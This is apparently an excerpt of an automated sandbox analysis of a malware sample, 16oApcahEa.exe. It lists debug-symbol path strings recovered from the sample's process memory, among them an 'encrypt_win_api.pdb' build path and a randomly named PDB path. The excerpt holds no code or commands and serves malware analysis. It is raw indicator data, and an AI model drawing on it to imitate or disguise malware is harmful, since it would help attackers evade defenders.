Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2656864681.0000000003604000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650308082.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649360466.00000000035ED000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2659896195.000000000361D000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2647839049.0000000003587000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 16oApcahEa.exe, 00000006.00000003.2574043200.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574727430.00000000032D8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574666578.0000000003285000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 16oApcahEa.exe, 00000006.00000003.2676291403.0000000003666000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2677093873.0000000003714000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2672665373.0000000003767000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2676488102.00000000036DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*\ source: 16oApcahEa.exe, 00000006.00000003.2530950914.0000000003120000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\* source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\rQ source: 16oApcahEa.exe, 00000006.00000003.2659984030.000000000365F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2655582040.000000000363E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650308082.0000000003689000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2658259484.0000000003647000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ta\_ source: 16oApcahEa.exe, 00000006.00000003.2676291403.0000000003666000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\5 source: 16oApcahEa.exe, 00000006.00000003.2608005511.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608980432.0000000003151000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608238739.0000000003140000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598996475.0000000003142000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608914024.000000000314A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2599115963.0000000003148000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2607706297.000000000311E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598551375.000000000311E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: 16oApcahEa.exe, 00000006.00000003.2672090250.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2672430411.0000000003281000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\^ source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\" source: 16oApcahEa.exe, 00000006.00000003.2676291403.0000000003666000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2677093873.0000000003714000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2670819138.000000000377E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2676488102.00000000036DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\' source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2531584711.0000000003113000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574538577.000000000311C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\2 source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\- source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: 16oApcahEa.exe, 00000006.00000003.2412926090.0000000003271000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2413214112.000000000328D000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2413077648.0000000003285000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\input\ar-LY\od.pdbUL source: 16oApcahEa.exe, 00000006.00000003.2574043200.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574727430.00000000032D8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574666578.0000000003285000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598180524.00000000032E5000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\v4.0\ source: 16oApcahEa.exe, 00000006.00000003.2574043200.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574727430.00000000032D8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574666578.0000000003285000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: 16oApcahEa.exe, 00000006.00000003.2659984030.000000000365F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2655582040.000000000363E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2658259484.0000000003647000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: 16oApcahEa.exe, 00000006.00000003.2599150765.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598612147.00000000033BD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\;O8 source: 16oApcahEa.exe, 00000006.00000003.2574043200.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574727430.00000000032D8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574666578.0000000003285000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598180524.00000000032E5000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ock source: 16oApcahEa.exe, 00000006.00000003.2412967181.0000000003173000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2402881218.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2413305123.0000000003196000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2404765626.0000000003192000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530699362.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2401102742.0000000003194000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003173000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\h source: 16oApcahEa.exe, 00000006.00000003.2656864681.00000000035A5000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2655793338.0000000003590000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: 16oApcahEa.exe, 00000006.00000003.2672049368.00000000033AD000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2670696660.00000000033A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ons\ source: 16oApcahEa.exe, 00000006.00000003.2574208274.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530699362.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574283198.0000000003198000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003173000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*e\ source: 16oApcahEa.exe, 00000006.00000003.2650308082.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649360466.00000000035ED000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2647839049.0000000003587000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\C source: 16oApcahEa.exe, 00000006.00000003.2670819138.0000000003666000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2671874339.00000000036BF000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2672665373.00000000036F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: zsers\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.irjg source: 16oApcahEa.exe, 00000006.00000003.2531549641.00000000031A9000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530699362.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003173000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ta\1r" source: 16oApcahEa.exe, 00000006.00000003.2657600214.000000000319C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2656367932.0000000003188000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: 16oApcahEa.exe, 00000006.00000003.2676291403.0000000003666000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\t\ source: 16oApcahEa.exe, 00000006.00000003.2650308082.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649360466.00000000035ED000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2647839049.0000000003587000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\cat source: 16oApcahEa.exe, 00000006.00000003.2574417283.000000000311E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2575408914.000000000312E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2599088690.0000000003130000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2599479272.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598551375.000000000311E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2599058073.0000000003124000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: 16oApcahEa.exe, 00000006.00000003.2530950914.0000000003120000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\0\ source: 16oApcahEa.exe, 00000006.00000003.2670819138.0000000003666000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: 16oApcahEa.exe, 16oApcahEa.exe, 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000008.00000002.2208558716.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000B.00000002.2290687050.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\' source: 16oApcahEa.exe, 00000006.00000003.2598180524.00000000032E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: 16oApcahEa.exe, 00000006.00000003.2599190729.0000000003238000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598180524.0000000003223000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\tate\ source: 16oApcahEa.exe, 00000006.00000003.2598494507.0000000003211000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608329765.0000000003217000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ome\ source: 16oApcahEa.exe, 00000006.00000003.2656864681.0000000003604000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650308082.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649360466.00000000035ED000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2659896195.000000000361D000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2647839049.0000000003587000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\p source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\l source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\6 source: 16oApcahEa.exe, 00000006.00000003.2671409961.00000000035E9000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2676819721.00000000035D4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\w source: 16oApcahEa.exe, 00000006.00000003.2402881218.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2404765626.0000000003192000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2401102742.0000000003194000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\y source: 16oApcahEa.exe, 00000006.00000003.2650308082.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628652314.0000000003622000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649360466.00000000035ED000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2647839049.0000000003587000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: 16oApcahEa.exe, 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000008.00000002.2208558716.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000B.00000002.2290687050.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\w\{ source: 16oApcahEa.exe, 00000006.00000003.2670397971.00000000032CF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: 16oApcahEa.exe, 00000006.00000003.2372068192.0000000003174000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2403249511.0000000003175000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2401640276.0000000003175000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2391853654.0000000003175000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2412967181.0000000003173000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2575227103.0000000003188000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.0000000003173000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574208274.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530895578.0000000003184000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574506929.0000000003179000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003173000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 16oApcahEa.exe, 00000006.00000003.2599150765.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574043200.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2607621022.00000000033E6000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574727430.00000000032D8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573681960.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598612147.00000000033BD000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574666578.0000000003285000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\cal Se source: 16oApcahEa.exe, 00000006.00000003.2656864681.00000000035A5000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2655793338.0000000003590000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\rup\gufeyeruci\noxijij\fohopejupa\wotuka\rib-padajedisurepi\g.pdbpqJ source: 16oApcahEa.exe
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*{j source: 16oApcahEa.exe, 00000006.00000003.2402881218.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2404765626.0000000003192000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2401102742.0000000003194000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 16oApcahEa.exe, 00000006.00000003.2659984030.000000000365F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2655582040.000000000363E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650308082.0000000003689000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2658259484.0000000003647000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: 16oApcahEa.exe, 00000006.00000003.2574989354.0000000003267000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530574907.0000000003266000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574356051.0000000003266000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531089711.0000000003266000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003266000.00000004.00000020.00020000.00000000.sdmp
